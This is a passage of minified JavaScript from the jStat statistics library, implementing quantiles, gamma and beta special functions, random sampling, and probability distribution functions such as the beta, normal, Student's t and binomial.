_arr=arr.slice().sort(ascNum);return[_arr[Math.round(arrlen/4)-1],_arr[Math.round(arrlen/2)-1],_arr[Math.round(arrlen*3/4)-1]]};jStat.quantiles=function quantiles(arr,quantilesArray,alphap,betap){var sortedArray=arr.slice().sort(ascNum);var quantileVals=[quantilesArray.length];var n=arr.length;var i,p,m,aleph,k,gamma;if(typeof alphap==="undefined")alphap=3/8;if(typeof betap==="undefined")betap=3/8;for(i=0;i<quantilesArray.length;i++){p=quantilesArray[i];m=alphap+p*(1-alphap-betap);aleph=n*p+m;k=Math.floor(clip(aleph,1,n-1));gamma=clip(aleph-k,0,1);quantileVals[i]=(1-gamma)*sortedArray[k-1]+gamma*sortedArray[k]}return quantileVals};jStat.percentile=function percentile(arr,k,exclusive){var _arr=arr.slice().sort(ascNum);var realIndex=k*(_arr.length+(exclusive?1:-1))+(exclusive?0:1);var index=parseInt(realIndex);var frac=realIndex-index;if(index+1<_arr.length){return _arr[index-1]+frac*(_arr[index]-_arr[index-1])}else{return _arr[index-1]}};jStat.percentileOfScore=function percentileOfScore(arr,score,kind){var counter=0;var len=arr.length;var strict=false;var value,i;if(kind==="strict")strict=true;for(i=0;i<len;i++){value=arr[i];if(strict&&value<score||!strict&&value<=score){counter++}}return counter/len};jStat.histogram=function histogram(arr,binCnt){binCnt=binCnt||4;var first=jStat.min(arr);var binWidth=(jStat.max(arr)-first)/binCnt;var len=arr.length;var bins=[];var i;for(i=0;i<binCnt;i++)bins[i]=0;for(i=0;i<len;i++)bins[Math.min(Math.floor((arr[i]-first)/binWidth),binCnt-1)]+=1;return bins};jStat.covariance=function covariance(arr1,arr2){var u=jStat.mean(arr1);var v=jStat.mean(arr2);var arr1Len=arr1.length;var sq_dev=new Array(arr1Len);var i;for(i=0;i<arr1Len;i++)sq_dev[i]=(arr1[i]-u)*(arr2[i]-v);return jStat.sum(sq_dev)/(arr1Len-1)};jStat.corrcoeff=function corrcoeff(arr1,arr2){return jStat.covariance(arr1,arr2)/jStat.stdev(arr1,1)/jStat.stdev(arr2,1)};jStat.spearmancoeff=function(arr1,arr2){arr1=jStat.rank(arr1);arr2=jStat.rank(arr2);return jStat.corrcoeff(arr1,arr2)};jStat.stanMoment=function stanMoment(arr,n){var mu=jStat.mean(arr);var sigma=jStat.stdev(arr);var len=arr.length;var skewSum=0;for(var i=0;i<len;i++)skewSum+=Math.pow((arr[i]-mu)/sigma,n);return skewSum/arr.length};jStat.skewness=function skewness(arr){return jStat.stanMoment(arr,3)};jStat.kurtosis=function kurtosis(arr){return jStat.stanMoment(arr,4)-3};var jProto=jStat.prototype;(function(funcs){for(var i=0;i<funcs.length;i++)(function(passfunc){jProto[passfunc]=function(fullbool,func){var arr=[];var i=0;var tmpthis=this;if(isFunction(fullbool)){func=fullbool;fullbool=false}if(func){setTimeout(function(){func.call(tmpthis,jProto[passfunc].call(tmpthis,fullbool))});return this}if(this.length>1){tmpthis=fullbool===true?this:this.transpose();for(;i<tmpthis.length;i++)arr[i]=jStat[passfunc](tmpthis[i]);return arr}return jStat[passfunc](this[0],fullbool)}})(funcs[i])})("cumsum cumprod".split(" "));(function(funcs){for(var i=0;i<funcs.length;i++)(function(passfunc){jProto[passfunc]=function(fullbool,func){var arr=[];var i=0;var tmpthis=this;if(isFunction(fullbool)){func=fullbool;fullbool=false}if(func){setTimeout(function(){func.call(tmpthis,jProto[passfunc].call(tmpthis,fullbool))});return this}if(this.length>1){if(passfunc!=="sumrow")tmpthis=fullbool===true?this:this.transpose();for(;i<tmpthis.length;i++)arr[i]=jStat[passfunc](tmpthis[i]);return fullbool===true?jStat[passfunc](jStat.utils.toVector(arr)):arr}return jStat[passfunc](this[0],fullbool)}})(funcs[i])})(("sum sumsqrd sumsqerr sumrow product min max unique mean meansqerr "+"geomean median diff rank mode range variance deviation stdev meandev "+"meddev coeffvar quartiles histogram skewness kurtosis").split(" "));(function(funcs){for(var i=0;i<funcs.length;i++)(function(passfunc){jProto[passfunc]=function(){var arr=[];var i=0;var tmpthis=this;var args=Array.prototype.slice.call(arguments);var callbackFunction;if(isFunction(args[args.length-1])){callbackFunction=args[args.length-1];var argsToPass=args.slice(0,args.length-1);setTimeout(function(){callbackFunction.call(tmpthis,jProto[passfunc].apply(tmpthis,argsToPass))});return this}else{callbackFunction=undefined;var curriedFunction=function curriedFunction(vector){return jStat[passfunc].apply(tmpthis,[vector].concat(args))}}if(this.length>1){tmpthis=tmpthis.transpose();for(;i<tmpthis.length;i++)arr[i]=curriedFunction(tmpthis[i]);return arr}return curriedFunction(this[0])}})(funcs[i])})("quantiles percentileOfScore".split(" "))})(jStat,Math);(function(jStat,Math){jStat.gammaln=function gammaln(x){var j=0;var cof=[76.18009172947146,-86.50532032941678,24.01409824083091,-1.231739572450155,.001208650973866179,-5395239384953e-18];var ser=1.000000000190015;var xx,y,tmp;tmp=(y=xx=x)+5.5;tmp-=(xx+.5)*Math.log(tmp);for(;j<6;j++)ser+=cof[j]/++y;return Math.log(2.5066282746310007*ser/xx)-tmp};jStat.loggam=function loggam(x){var x0,x2,xp,gl,gl0;var k,n;var a=[.08333333333333333,-.002777777777777778,.0007936507936507937,-.0005952380952380952,.0008417508417508418,-.001917526917526918,.00641025641025641,-.02955065359477124,.1796443723688307,-1.3924322169059];x0=x;n=0;if(x==1||x==2){return 0}if(x<=7){n=Math.floor(7-x);x0=x+n}x2=1/(x0*x0);xp=2*Math.PI;gl0=a[9];for(k=8;k>=0;k--){gl0*=x2;gl0+=a[k]}gl=gl0/x0+.5*Math.log(xp)+(x0-.5)*Math.log(x0)-x0;if(x<=7){for(k=1;k<=n;k++){gl-=Math.log(x0-1);x0-=1}}return gl};jStat.gammafn=function gammafn(x){var p=[-1.716185138865495,24.76565080557592,-379.80425647094563,629.3311553128184,866.9662027904133,-31451.272968848367,-36144.413418691176,66456.14382024054];var q=[-30.8402300119739,315.35062697960416,-1015.1563674902192,-3107.771671572311,22538.11842098015,4755.846277527881,-134659.9598649693,-115132.2596755535];var fact=false;var n=0;var xden=0;var xnum=0;var y=x;var i,z,yi,res;if(x>171.6243769536076){return Infinity}if(y<=0){res=y%1+36e-17;if(res){fact=(!(y&1)?1:-1)*Math.PI/Math.sin(Math.PI*res);y=1-y}else{return Infinity}}yi=y;if(y<1){z=y++}else{z=(y-=n=(y|0)-1)-1}for(i=0;i<8;++i){xnum=(xnum+p[i])*z;xden=xden*z+q[i]}res=xnum/xden+1;if(yi<y){res/=yi}else if(yi>y){for(i=0;i<n;++i){res*=y;y++}}if(fact){res=fact/res}return res};jStat.gammap=function gammap(a,x){return jStat.lowRegGamma(a,x)*jStat.gammafn(a)};jStat.lowRegGamma=function lowRegGamma(a,x){var aln=jStat.gammaln(a);var ap=a;var sum=1/a;var del=sum;var b=x+1-a;var c=1/1e-30;var d=1/b;var h=d;var i=1;var ITMAX=-~(Math.log(a>=1?a:1/a)*8.5+a*.4+17);var an;if(x<0||a<=0){return NaN}else if(x<a+1){for(;i<=ITMAX;i++){sum+=del*=x/++ap}return sum*Math.exp(-x+a*Math.log(x)-aln)}for(;i<=ITMAX;i++){an=-i*(i-a);b+=2;d=an*d+b;c=b+an/c;d=1/d;h*=d*c}return 1-h*Math.exp(-x+a*Math.log(x)-aln)};jStat.factorialln=function factorialln(n){return n<0?NaN:jStat.gammaln(n+1)};jStat.factorial=function factorial(n){return n<0?NaN:jStat.gammafn(n+1)};jStat.combination=function combination(n,m){return n>170||m>170?Math.exp(jStat.combinationln(n,m)):jStat.factorial(n)/jStat.factorial(m)/jStat.factorial(n-m)};jStat.combinationln=function combinationln(n,m){return jStat.factorialln(n)-jStat.factorialln(m)-jStat.factorialln(n-m)};jStat.permutation=function permutation(n,m){return jStat.factorial(n)/jStat.factorial(n-m)};jStat.betafn=function betafn(x,y){if(x<=0||y<=0)return undefined;return x+y>170?Math.exp(jStat.betaln(x,y)):jStat.gammafn(x)*jStat.gammafn(y)/jStat.gammafn(x+y)};jStat.betaln=function betaln(x,y){return jStat.gammaln(x)+jStat.gammaln(y)-jStat.gammaln(x+y)};jStat.betacf=function betacf(x,a,b){var fpmin=1e-30;var m=1;var qab=a+b;var qap=a+1;var qam=a-1;var c=1;var d=1-qab*x/qap;var m2,aa,del,h;if(Math.abs(d)<fpmin)d=fpmin;d=1/d;h=d;for(;m<=100;m++){m2=2*m;aa=m*(b-m)*x/((qam+m2)*(a+m2));d=1+aa*d;if(Math.abs(d)<fpmin)d=fpmin;c=1+aa/c;if(Math.abs(c)<fpmin)c=fpmin;d=1/d;h*=d*c;aa=-(a+m)*(qab+m)*x/((a+m2)*(qap+m2));d=1+aa*d;if(Math.abs(d)<fpmin)d=fpmin;c=1+aa/c;if(Math.abs(c)<fpmin)c=fpmin;d=1/d;del=d*c;h*=del;if(Math.abs(del-1)<3e-7)break}return h};jStat.gammapinv=function gammapinv(p,a){var j=0;var a1=a-1;var EPS=1e-8;var gln=jStat.gammaln(a);var x,err,t,u,pp,lna1,afac;if(p>=1)return Math.max(100,a+100*Math.sqrt(a));if(p<=0)return 0;if(a>1){lna1=Math.log(a1);afac=Math.exp(a1*(lna1-1)-gln);pp=p<.5?p:1-p;t=Math.sqrt(-2*Math.log(pp));x=(2.30753+t*.27061)/(1+t*(.99229+t*.04481))-t;if(p<.5)x=-x;x=Math.max(.001,a*Math.pow(1-1/(9*a)-x/(3*Math.sqrt(a)),3))}else{t=1-a*(.253+a*.12);if(p<t)x=Math.pow(p/t,1/a);else x=1-Math.log(1-(p-t)/(1-t))}for(;j<12;j++){if(x<=0)return 0;err=jStat.lowRegGamma(a,x)-p;if(a>1)t=afac*Math.exp(-(x-a1)+a1*(Math.log(x)-lna1));else t=Math.exp(-x+a1*Math.log(x)-gln);u=err/t;x-=t=u/(1-.5*Math.min(1,u*((a-1)/x-1)));if(x<=0)x=.5*(x+t);if(Math.abs(t)<EPS*x)break}return x};jStat.erf=function erf(x){var cof=[-1.3026537197817094,.6419697923564902,.019476473204185836,-.00956151478680863,-.000946595344482036,.000366839497852761,42523324806907e-18,-20278578112534e-18,-1624290004647e-18,130365583558e-17,1.5626441722e-8,-8.5238095915e-8,6.529054439e-9,5.059343495e-9,-9.91364156e-10,-2.27365122e-10,96467911e-18,2394038e-18,-6886027e-18,894487e-18,313092e-18,-112708e-18,381e-18,7106e-18,-1523e-18,-94e-18,121e-18,-28e-18];var j=cof.length-1;var isneg=false;var d=0;var dd=0;var t,ty,tmp,res;if(x<0){x=-x;isneg=true}t=2/(2+x);ty=4*t-2;for(;j>0;j--){tmp=d;d=ty*d-dd+cof[j];dd=tmp}res=t*Math.exp(-x*x+.5*(cof[0]+ty*d)-dd);return isneg?res-1:1-res};jStat.erfc=function erfc(x){return 1-jStat.erf(x)};jStat.erfcinv=function erfcinv(p){var j=0;var x,err,t,pp;if(p>=2)return-100;if(p<=0)return 100;pp=p<1?p:2-p;t=Math.sqrt(-2*Math.log(pp/2));x=-.70711*((2.30753+t*.27061)/(1+t*(.99229+t*.04481))-t);for(;j<2;j++){err=jStat.erfc(x)-pp;x+=err/(1.1283791670955126*Math.exp(-x*x)-x*err)}return p<1?x:-x};jStat.ibetainv=function ibetainv(p,a,b){var EPS=1e-8;var a1=a-1;var b1=b-1;var j=0;var lna,lnb,pp,t,u,err,x,al,h,w,afac;if(p<=0)return 0;if(p>=1)return 1;if(a>=1&&b>=1){pp=p<.5?p:1-p;t=Math.sqrt(-2*Math.log(pp));x=(2.30753+t*.27061)/(1+t*(.99229+t*.04481))-t;if(p<.5)x=-x;al=(x*x-3)/6;h=2/(1/(2*a-1)+1/(2*b-1));w=x*Math.sqrt(al+h)/h-(1/(2*b-1)-1/(2*a-1))*(al+5/6-2/(3*h));x=a/(a+b*Math.exp(2*w))}else{lna=Math.log(a/(a+b));lnb=Math.log(b/(a+b));t=Math.exp(a*lna)/a;u=Math.exp(b*lnb)/b;w=t+u;if(p<t/w)x=Math.pow(a*w*p,1/a);else x=1-Math.pow(b*w*(1-p),1/b)}afac=-jStat.gammaln(a)-jStat.gammaln(b)+jStat.gammaln(a+b);for(;j<10;j++){if(x===0||x===1)return x;err=jStat.ibeta(x,a,b)-p;t=Math.exp(a1*Math.log(x)+b1*Math.log(1-x)+afac);u=err/t;x-=t=u/(1-.5*Math.min(1,u*(a1/x-b1/(1-x))));if(x<=0)x=.5*(x+t);if(x>=1)x=.5*(x+t+1);if(Math.abs(t)<EPS*x&&j>0)break}return x};jStat.ibeta=function ibeta(x,a,b){var bt=x===0||x===1?0:Math.exp(jStat.gammaln(a+b)-jStat.gammaln(a)-jStat.gammaln(b)+a*Math.log(x)+b*Math.log(1-x));if(x<0||x>1)return false;if(x<(a+1)/(a+b+2))return bt*jStat.betacf(x,a,b)/a;return 1-bt*jStat.betacf(1-x,b,a)/b};jStat.randn=function randn(n,m){var u,v,x,y,q;if(!m)m=n;if(n)return jStat.create(n,m,function(){return jStat.randn()});do{u=jStat._random_fn();v=1.7156*(jStat._random_fn()-.5);x=u-.449871;y=Math.abs(v)+.386595;q=x*x+y*(.196*y-.25472*x)}while(q>.27597&&(q>.27846||v*v>-4*Math.log(u)*u*u));return v/u};jStat.randg=function randg(shape,n,m){var oalph=shape;var a1,a2,u,v,x,mat;if(!m)m=n;if(!shape)shape=1;if(n){mat=jStat.zeros(n,m);mat.alter(function(){return jStat.randg(shape)});return mat}if(shape<1)shape+=1;a1=shape-1/3;a2=1/Math.sqrt(9*a1);do{do{x=jStat.randn();v=1+a2*x}while(v<=0);v=v*v*v;u=jStat._random_fn()}while(u>1-.331*Math.pow(x,4)&&Math.log(u)>.5*x*x+a1*(1-v+Math.log(v)));if(shape==oalph)return a1*v;do{u=jStat._random_fn()}while(u===0);return Math.pow(u,1/oalph)*a1*v};(function(funcs){for(var i=0;i<funcs.length;i++)(function(passfunc){jStat.fn[passfunc]=function(){return jStat(jStat.map(this,function(value){return jStat[passfunc](value)}))}})(funcs[i])})("gammaln gammafn factorial factorialln".split(" "));(function(funcs){for(var i=0;i<funcs.length;i++)(function(passfunc){jStat.fn[passfunc]=function(){return jStat(jStat[passfunc].apply(null,arguments))}})(funcs[i])})("randn".split(" "))})(jStat,Math);(function(jStat,Math){(function(list){for(var i=0;i<list.length;i++)(function(func){jStat[func]=function f(a,b,c){if(!(this instanceof f))return new f(a,b,c);this._a=a;this._b=b;this._c=c;return this};jStat.fn[func]=function(a,b,c){var newthis=jStat[func](a,b,c);newthis.data=this;return newthis};jStat[func].prototype.sample=function(arr){var a=this._a;var b=this._b;var c=this._c;if(arr)return jStat.alter(arr,function(){return jStat[func].sample(a,b,c)});else return jStat[func].sample(a,b,c)};(function(vals){for(var i=0;i<vals.length;i++)(function(fnfunc){jStat[func].prototype[fnfunc]=function(x){var a=this._a;var b=this._b;var c=this._c;if(!x&&x!==0)x=this.data;if(typeof x!=="number"){return jStat.fn.map.call(x,function(x){return jStat[func][fnfunc](x,a,b,c)})}return jStat[func][fnfunc](x,a,b,c)}})(vals[i])})("pdf cdf inv".split(" "));(function(vals){for(var i=0;i<vals.length;i++)(function(fnfunc){jStat[func].prototype[fnfunc]=function(){return jStat[func][fnfunc](this._a,this._b,this._c)}})(vals[i])})("mean median mode variance".split(" "))})(list[i])})(("beta centralF cauchy chisquare exponential gamma invgamma kumaraswamy "+"laplace lognormal noncentralt normal pareto studentt weibull uniform "+"binomial negbin hypgeom poisson triangular tukey arcsine").split(" "));jStat.extend(jStat.beta,{pdf:function pdf(x,alpha,beta){if(x>1||x<0)return 0;if(alpha==1&&beta==1)return 1;if(alpha<512&&beta<512){return Math.pow(x,alpha-1)*Math.pow(1-x,beta-1)/jStat.betafn(alpha,beta)}else{return Math.exp((alpha-1)*Math.log(x)+(beta-1)*Math.log(1-x)-jStat.betaln(alpha,beta))}},cdf:function cdf(x,alpha,beta){return x>1||x<0?(x>1)*1:jStat.ibeta(x,alpha,beta)},inv:function inv(x,alpha,beta){return jStat.ibetainv(x,alpha,beta)},mean:function mean(alpha,beta){return alpha/(alpha+beta)},median:function median(alpha,beta){return jStat.ibetainv(.5,alpha,beta)},mode:function mode(alpha,beta){return(alpha-1)/(alpha+beta-2)},sample:function sample(alpha,beta){var u=jStat.randg(alpha);return u/(u+jStat.randg(beta))},variance:function variance(alpha,beta){return alpha*beta/(Math.pow(alpha+beta,2)*(alpha+beta+1))}});jStat.extend(jStat.centralF,{pdf:function pdf(x,df1,df2){var p,q,f;if(x<0)return 0;if(df1<=2){if(x===0&&df1<2){return Infinity}if(x===0&&df1===2){return 1}return 1/jStat.betafn(df1/2,df2/2)*Math.pow(df1/df2,df1/2)*Math.pow(x,df1/2-1)*Math.pow(1+df1/df2*x,-(df1+df2)/2)}p=df1*x/(df2+x*df1);q=df2/(df2+x*df1);f=df1*q/2;return f*jStat.binomial.pdf((df1-2)/2,(df1+df2-2)/2,p)},cdf:function cdf(x,df1,df2){if(x<0)return 0;return jStat.ibeta(df1*x/(df1*x+df2),df1/2,df2/2)},inv:function inv(x,df1,df2){return df2/(df1*(1/jStat.ibetainv(x,df1/2,df2/2)-1))},mean:function mean(df1,df2){return df2>2?df2/(df2-2):undefined},mode:function mode(df1,df2){return df1>2?df2*(df1-2)/(df1*(df2+2)):undefined},sample:function sample(df1,df2){var x1=jStat.randg(df1/2)*2;var x2=jStat.randg(df2/2)*2;return x1/df1/(x2/df2)},variance:function variance(df1,df2){if(df2<=4)return undefined;return 2*df2*df2*(df1+df2-2)/(df1*(df2-2)*(df2-2)*(df2-4))}});jStat.extend(jStat.cauchy,{pdf:function pdf(x,local,scale){if(scale<0){return 0}return scale/(Math.pow(x-local,2)+Math.pow(scale,2))/Math.PI},cdf:function cdf(x,local,scale){return Math.atan((x-local)/scale)/Math.PI+.5},inv:function(p,local,scale){return local+scale*Math.tan(Math.PI*(p-.5))},median:function median(local){return local},mode:function mode(local){return local},sample:function sample(local,scale){return jStat.randn()*Math.sqrt(1/(2*jStat.randg(.5)))*scale+local}});jStat.extend(jStat.chisquare,{pdf:function pdf(x,dof){if(x<0)return 0;return x===0&&dof===2?.5:Math.exp((dof/2-1)*Math.log(x)-x/2-dof/2*Math.log(2)-jStat.gammaln(dof/2))},cdf:function cdf(x,dof){if(x<0)return 0;return jStat.lowRegGamma(dof/2,x/2)},inv:function(p,dof){return 2*jStat.gammapinv(p,.5*dof)},mean:function(dof){return dof},median:function median(dof){return dof*Math.pow(1-2/(9*dof),3)},mode:function mode(dof){return dof-2>0?dof-2:0},sample:function sample(dof){return jStat.randg(dof/2)*2},variance:function variance(dof){return 2*dof}});jStat.extend(jStat.exponential,{pdf:function pdf(x,rate){return x<0?0:rate*Math.exp(-rate*x)},cdf:function cdf(x,rate){return x<0?0:1-Math.exp(-rate*x)},inv:function(p,rate){return-Math.log(1-p)/rate},mean:function(rate){return 1/rate},median:function(rate){return 1/rate*Math.log(2)},mode:function mode(){return 0},sample:function sample(rate){return-1/rate*Math.log(jStat._random_fn())},variance:function(rate){return Math.pow(rate,-2)}});jStat.extend(jStat.gamma,{pdf:function pdf(x,shape,scale){if(x<0)return 0;return x===0&&shape===1?1/scale:Math.exp((shape-1)*Math.log(x)-x/scale-jStat.gammaln(shape)-shape*Math.log(scale))},cdf:function cdf(x,shape,scale){if(x<0)return 0;return jStat.lowRegGamma(shape,x/scale)},inv:function(p,shape,scale){return jStat.gammapinv(p,shape)*scale},mean:function(shape,scale){return shape*scale},mode:function mode(shape,scale){if(shape>1)return(shape-1)*scale;return undefined},sample:function sample(shape,scale){return jStat.randg(shape)*scale},variance:function variance(shape,scale){return shape*scale*scale}});jStat.extend(jStat.invgamma,{pdf:function pdf(x,shape,scale){if(x<=0)return 0;return Math.exp(-(shape+1)*Math.log(x)-scale/x-jStat.gammaln(shape)+shape*Math.log(scale))},cdf:function cdf(x,shape,scale){if(x<=0)return 0;return 1-jStat.lowRegGamma(shape,scale/x)},inv:function(p,shape,scale){return scale/jStat.gammapinv(1-p,shape)},mean:function(shape,scale){return shape>1?scale/(shape-1):undefined},mode:function mode(shape,scale){return scale/(shape+1)},sample:function sample(shape,scale){return scale/jStat.randg(shape)},variance:function variance(shape,scale){if(shape<=2)return undefined;return scale*scale/((shape-1)*(shape-1)*(shape-2))}});jStat.extend(jStat.kumaraswamy,{pdf:function pdf(x,alpha,beta){if(x===0&&alpha===1)return beta;else if(x===1&&beta===1)return alpha;return Math.exp(Math.log(alpha)+Math.log(beta)+(alpha-1)*Math.log(x)+(beta-1)*Math.log(1-Math.pow(x,alpha)))},cdf:function cdf(x,alpha,beta){if(x<0)return 0;else if(x>1)return 1;return 1-Math.pow(1-Math.pow(x,alpha),beta)},inv:function inv(p,alpha,beta){return Math.pow(1-Math.pow(1-p,1/beta),1/alpha)},mean:function(alpha,beta){return beta*jStat.gammafn(1+1/alpha)*jStat.gammafn(beta)/jStat.gammafn(1+1/alpha+beta)},median:function median(alpha,beta){return Math.pow(1-Math.pow(2,-1/beta),1/alpha)},mode:function mode(alpha,beta){if(!(alpha>=1&&beta>=1&&(alpha!==1&&beta!==1)))return undefined;return Math.pow((alpha-1)/(alpha*beta-1),1/alpha)},variance:function variance(){throw new Error("variance not yet implemented")}});jStat.extend(jStat.lognormal,{pdf:function pdf(x,mu,sigma){if(x<=0)return 0;return Math.exp(-Math.log(x)-.5*Math.log(2*Math.PI)-Math.log(sigma)-Math.pow(Math.log(x)-mu,2)/(2*sigma*sigma))},cdf:function cdf(x,mu,sigma){if(x<0)return 0;return.5+.5*jStat.erf((Math.log(x)-mu)/Math.sqrt(2*sigma*sigma))},inv:function(p,mu,sigma){return Math.exp(-1.4142135623730951*sigma*jStat.erfcinv(2*p)+mu)},mean:function mean(mu,sigma){return Math.exp(mu+sigma*sigma/2)},median:function median(mu){return Math.exp(mu)},mode:function mode(mu,sigma){return Math.exp(mu-sigma*sigma)},sample:function sample(mu,sigma){return Math.exp(jStat.randn()*sigma+mu)},variance:function variance(mu,sigma){return(Math.exp(sigma*sigma)-1)*Math.exp(2*mu+sigma*sigma)}});jStat.extend(jStat.noncentralt,{pdf:function pdf(x,dof,ncp){var tol=1e-14;if(Math.abs(ncp)<tol)return jStat.studentt.pdf(x,dof);if(Math.abs(x)<tol){return Math.exp(jStat.gammaln((dof+1)/2)-ncp*ncp/2-.5*Math.log(Math.PI*dof)-jStat.gammaln(dof/2))}return dof/x*(jStat.noncentralt.cdf(x*Math.sqrt(1+2/dof),dof+2,ncp)-jStat.noncentralt.cdf(x,dof,ncp))},cdf:function cdf(x,dof,ncp){var tol=1e-14;var min_iterations=200;if(Math.abs(ncp)<tol)return jStat.studentt.cdf(x,dof);var flip=false;if(x<0){flip=true;ncp=-ncp}var prob=jStat.normal.cdf(-ncp,0,1);var value=tol+1;var lastvalue=value;var y=x*x/(x*x+dof);var j=0;var p=Math.exp(-ncp*ncp/2);var q=Math.exp(-ncp*ncp/2-.5*Math.log(2)-jStat.gammaln(3/2))*ncp;while(j<min_iterations||lastvalue>tol||value>tol){lastvalue=value;if(j>0){p*=ncp*ncp/(2*j);q*=ncp*ncp/(2*(j+1/2))}value=p*jStat.beta.cdf(y,j+.5,dof/2)+q*jStat.beta.cdf(y,j+1,dof/2);prob+=.5*value;j++}return flip?1-prob:prob}});jStat.extend(jStat.normal,{pdf:function pdf(x,mean,std){return Math.exp(-.5*Math.log(2*Math.PI)-Math.log(std)-Math.pow(x-mean,2)/(2*std*std))},cdf:function cdf(x,mean,std){return.5*(1+jStat.erf((x-mean)/Math.sqrt(2*std*std)))},inv:function(p,mean,std){return-1.4142135623730951*std*jStat.erfcinv(2*p)+mean},mean:function(mean){return mean},median:function median(mean){return mean},mode:function(mean){return mean},sample:function sample(mean,std){return jStat.randn()*std+mean},variance:function(mean,std){return std*std}});jStat.extend(jStat.pareto,{pdf:function pdf(x,scale,shape){if(x<scale)return 0;return shape*Math.pow(scale,shape)/Math.pow(x,shape+1)},cdf:function cdf(x,scale,shape){if(x<scale)return 0;return 1-Math.pow(scale/x,shape)},inv:function inv(p,scale,shape){return scale/Math.pow(1-p,1/shape)},mean:function mean(scale,shape){if(shape<=1)return undefined;return shape*Math.pow(scale,shape)/(shape-1)},median:function median(scale,shape){return scale*(shape*Math.SQRT2)},mode:function mode(scale){return scale},variance:function(scale,shape){if(shape<=2)return undefined;return scale*scale*shape/(Math.pow(shape-1,2)*(shape-2))}});jStat.extend(jStat.studentt,{pdf:function pdf(x,dof){dof=dof>1e100?1e100:dof;return 1/(Math.sqrt(dof)*jStat.betafn(.5,dof/2))*Math.pow(1+x*x/dof,-((dof+1)/2))},cdf:function cdf(x,dof){var dof2=dof/2;return jStat.ibeta((x+Math.sqrt(x*x+dof))/(2*Math.sqrt(x*x+dof)),dof2,dof2)},inv:function(p,dof){var x=jStat.ibetainv(2*Math.min(p,1-p),.5*dof,.5);x=Math.sqrt(dof*(1-x)/x);return p>.5?x:-x},mean:function mean(dof){return dof>1?0:undefined},median:function median(){return 0},mode:function mode(){return 0},sample:function sample(dof){return jStat.randn()*Math.sqrt(dof/(2*jStat.randg(dof/2)))},variance:function variance(dof){return dof>2?dof/(dof-2):dof>1?Infinity:undefined}});jStat.extend(jStat.weibull,{pdf:function pdf(x,scale,shape){if(x<0||scale<0||shape<0)return 0;return shape/scale*Math.pow(x/scale,shape-1)*Math.exp(-Math.pow(x/scale,shape))},cdf:function cdf(x,scale,shape){return x<0?0:1-Math.exp(-Math.pow(x/scale,shape))},inv:function(p,scale,shape){return scale*Math.pow(-Math.log(1-p),1/shape)},mean:function(scale,shape){return scale*jStat.gammafn(1+1/shape)},median:function median(scale,shape){return scale*Math.pow(Math.log(2),1/shape)},mode:function mode(scale,shape){if(shape<=1)return 0;return scale*Math.pow((shape-1)/shape,1/shape)},sample:function sample(scale,shape){return scale*Math.pow(-Math.log(jStat._random_fn()),1/shape)},variance:function variance(scale,shape){return scale*scale*jStat.gammafn(1+2/shape)-Math.pow(jStat.weibull.mean(scale,shape),2)}});jStat.extend(jStat.uniform,{pdf:function pdf(x,a,b){return x<a||x>b?0:1/(b-a)},cdf:function cdf(x,a,b){if(x<a)return 0;else if(x<b)return(x-a)/(b-a);return 1},inv:function(p,a,b){return a+p*(b-a)},mean:function mean(a,b){return.5*(a+b)},median:function median(a,b){return jStat.mean(a,b)},mode:function mode(){throw new Error("mode is not yet implemented")},sample:function sample(a,b){return a/2+b/2+(b/2-a/2)*(2*jStat._random_fn()-1)},variance:function variance(a,b){return Math.pow(b-a,2)/12}});function betinc(x,a,b,eps){var a0=0;var b0=1;var a1=1;var b1=1;var m9=0;var a2=0;var c9;while(Math.abs((a1-a2)/a1)>eps){a2=a1;c9=-(a+m9)*(a+b+m9)*x/(a+2*m9)/(a+2*m9+1);a0=a1+c9*a0;b0=b1+c9*b0;m9=m9+1;c9=m9*(b-m9)*x/(a+2*m9-1)/(a+2*m9);a1=a0+c9*a1;b1=b0+c9*b1;a0=a0/b1;b0=b0/b1;a1=a1/b1;b1=1}return a1/a}jStat.extend(jStat.binomial,{pdf:function pdf(k,n,p){return p===0||p===1?n*p===k?1:0:jStat.combination(n,k)*Math.pow(p,k)*Math.pow(1-p,n-k)},cdf:function cdf(x,n,p){var betacdf;var eps=1e-10;if(x<0)return 0;if(x>=n)return 1;if(p<0||p>1||n<=0)return NaN;x=Math.floor(x);var z=p;var a=x+1;var b=n-x;var s=a+b;var bt=Math.exp(jStat.gammaln(s)-jStat.gammaln(b)-jStat.gammaln(a)+a*Math.log(z)+b*Math.log(1-z));if(z<(a+1)/(s+2))betacdf=bt*betinc(z,a,b,eps);else betacdf=1-bt*betinc(1-z,b,a,eps);return Math.round((1-betacdf)*(1/eps))/(1/eps)}});jStat.extend(jStat.negbin,{pdf:function pdf(k,r,p){if(k!==k>>>0)return false;if(k<0)return 0;return jStat.combination(k+r-1,r-1)*Math.pow(1-p,k)*Math.pow(p,r)},cdf:function cdf(x,r,p){var sum=0,k=0;if(x<0)return 0;for(;k<=x;k++){sum+=jStat.negbin.pdf(k,r,p)}return sum}});jStat.extend(jStat.hypgeom,{pdf:function pdf(k,N,m,n){if(k!==k|0){return false}else if(k<0||k<m-(N-n)){return 0}else if(k>n||k>m){return 0}else if(m*2>N){if(n*2>N){return jStat.hypgeom.pdf(N-m-n+k,N,N-m,N-n)}else{return jStat.hypgeom.pdf(n-k,N,N-m,n)}}else if(n*2>N){return jStat.hypgeom.pdf(m-k,N,m,N-n)}else if(m<n){return jStat.hypgeom.pdf(k,N,n,m)}else{var scaledPDF=1;var samplesDone=0;for(var i=0;i<k;i++){while(scaledPDF>1&&samplesDone<n){scaledPDF*=1-m/(N-samplesDone);samplesDone++}scaledPDF*=(n-i)*(m-i)/((i+1)*(N-m-n+i+1))}for(;samplesDone<n;samplesDone++){scaledPDF*=1-m/(N-samplesDone)}return Math.min(1,Math.max(0,scaledPDF))}},cdf:function cdf(x,N,m,n){if(x<0||x<m-(N-n)){return 0}else if(x>=n||x>=m){return 1}else if(m*2>N){if(n*2>N){return jStat.hypgeom.cdf(N-m-n+x,N,N-m,N-n)}else{return 1-jStat.hypgeom.cdf(n-x-1,N,N-m,n)}}else if(n*2>N){return 1-jStat.hypgeom.cdf(m-x-1,N,m,N-n)}else if(m<n){return jStat.hypgeom.cdf(x,N,n,m)}else{var scaledCDF=1;var scaledPDF=1;var samplesDone=0;for(var i=0;i<x;i++){while(scaledCDF>1&&samplesDone<n){var factor=1-m/(N-samplesDone);scaledPDF*=factor;scaledCDF*=factor;samplesDone++}scaledPDF*=(n-i)*(m-i)/((i+1)*(N-m-n+i+1));scaledCDF+=scaledPDF}for(;samplesDone<n;samplesDone++){scaledCDF*=1-m/(N-samplesDone)}return 